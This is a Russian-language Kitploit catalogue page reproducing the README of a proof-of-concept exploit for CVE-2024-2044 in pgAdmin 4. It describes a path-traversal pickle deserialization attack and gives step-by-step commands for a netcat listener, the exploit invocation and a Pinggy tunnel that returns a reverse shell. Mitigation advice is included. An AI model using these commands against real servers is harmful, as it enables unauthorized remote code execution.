Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-2044 — Python PoC, эксплуатирующий CVE-2024-2044 в pgAdmin 4 (<=8.3) через аутентифицированный path traversal и небезопасную десериализацию pickle для достижения удалённого выполнения кода и reverse shell. | Kitploit
Инструменты/GitHubGitHub/hanzzly/cve-2024-2044
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияВеб-безопасностьТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

Python PoC, эксплуатирующий CVE-2024-2044 в pgAdmin 4 (<=8.3) через аутентифицированный path traversal и небезопасную десериализацию pickle для достижения удалённого выполнения кода и reverse shell.

18 ч 30 мин назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PoC CVE-2024-2044: pgAdmin 4 Authenticated RCE (Linux/POSIX)

Этот репозиторий содержит скрипт Proof of Concept (PoC) для CVE-2024-2044 — критической уязвимости, объединяющей Authenticated Path Traversal и Unsafe Deserialization в pgAdmin 4 (версии 8.3 и ниже), работающем в среде Linux/POSIX.

[!WARNING] ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот код создан исключительно в образовательных целях, для исследований в области безопасности и официального тестирования на проникновение (authorized pentesting). Использование этого кода для атаки на цели без письменного разрешения является незаконным и преследуется по закону.


Описание уязвимости

В pgAdmin 4 в режиме сервера в среде Linux управление сессиями хранится в виде локальных файлов. Уязвимость возникает из-за того, что функция FileBackedSessionManager.get() принимает значение из HTTP-cookie pga4_session и объединяет его с путём каталога с помощью os.path.join без санитизации символов манипуляции путём (../).

Этот PoC-скрипт эксплуатирует данную брешь следующим образом:

  • Аутентификация: Выполняется автоматический вход с использованием действительных учётных данных для получения активной сессии и обхода CSRF-токена.
  • Загрузка payload: Используется встроенная утилита Storage Manager для загрузки вредоносного Python-объекта pickle, содержащего команду Reverse Shell. Этот файл сохраняется в каталоге хранилища пользователя (например: /storage/nama_user/).
  • Триггер Path Traversal: Отправляется HTTP-запрос обратно на /login с манипуляцией cookie pga4_session, превращая его в относительный путь к загруженному pickle-файлу (например: ../storage/nama_user/file.pickle!). Символ ! используется для соответствия поиску расширения файла сессии в pgAdmin 4.
  • Выполнение кода (RCE): Сервер pgAdmin 4 обманывается, читает этот файл и обрабатывает его с помощью pickle.loads(). В результате payload запускает отдельный (detached) процесс Python, который отправляет Reverse Shell атакующему.

  • Требования (Prerequisites)

    • Цель: pgAdmin 4 <= 8.3 (Server Mode), работающий на Linux/POSIX.
    • Доступ: Требуется действительная учётная запись для входа (Username & Password).
    • Зависимости скрипта: Python 3 и библиотека requests.

    Руководство по использованию

    Вариант A: Использование публичного IP напрямую (локально/VPN)

    1. Откройте порт netcat на своей машине для приёма соединения reverse shell:
      root@kitploit:~
      nc -lvnp 4444
      
    2. Запустите скрипт эксплуатации:
      root@kitploit:~
      python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
      

    Вариант B: Использование Port Forwarding (Pinggy.io)

    Если ваша машина находится за NAT/роутером и требуется публичное туннелирование, вы можете воспользоваться сервисом Pinggy.io, выполнив следующие шаги:

    1. Запустите локальный Netcat Listener

    Сначала запустите nc на локальной машине, используя выбранный вами порт (например: порт 1337):

    root@kitploit:~
    nc -lvnp 1337
    

    2. Запустите Pinggy Tunnel

    Откройте новый терминал и выполните SSH-команду Pinggy. Убедитесь, что локальный порт в конце (1337) совпадает с портом nc, который вы запустили ранее:

    root@kitploit:~
    ssh -p 443 -R0:localhost:1337 [email protected]
    

    После подключения Pinggy выдаст публичный TCP-URL, например: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

    Примечание: Публичный порт, полученный от Pinggy, — это 43143 (именно он впоследствии станет -lport).

    3. Найдите реальный IP Pinggy (получение LHOST)

    Целевому серверу pgAdmin 4 требуется формат реального IP-адреса для соединения socket reverse shell. Выполните nslookup для домена из вашего Pinggy URL:

    root@kitploit:~
    nslookup ubylm-103-79-246-198.run.pinggy-free.link
    

    Вывод отобразит публичный IP сервера Pinggy (выберите IPv4 в самой верхней части Address):

    root@kitploit:~
    Non-authoritative answer:
    ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
    Name:   lin.ap.12.a.pinggy.click
    Address: 172.236.148.125
    

    Из приведённого вывода получен реальный IP Pinggy: 172.236.148.125.

    image

    4. Запустите скрипт эксплуатации

    Запустите PoC-скрипт, указав IP, полученный из nslookup, в качестве -lhost, а публичный порт Pinggy — в качестве -lport:

    root@kitploit:~
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
    
    image
    image

    Параметры опций скрипта

    • -t, --target : URL цели pgAdmin 4 (Обязательно).
    • -u, --username: Email/Username для входа (По умолчанию: [email protected]).
    • -p, --password: Пароль для входа (По умолчанию: player123).
    • -lhost : IP-адрес атакующего / IP, полученный из nslookup Pinggy (Обязательно).
    • -lport : Порт listener атакующего / Публичный порт Pinggy (Обязательно).

    Митигация

    Эта уязвимость была исправлена в pgAdmin 4 версии 8.4. Если вы администрируете уязвимый сервер, немедленно выполните следующие действия:

    1. Обновите pgAdmin 4 до версии 8.4 или более новой.
    2. Ограничьте сетевой доступ к панели pgAdmin 4 с помощью VPN или Firewall Whitelist.
    3. Убедитесь, что процесс pgAdmin 4 запускается с правами обычного пользователя (non-root).
    Скачать инструмент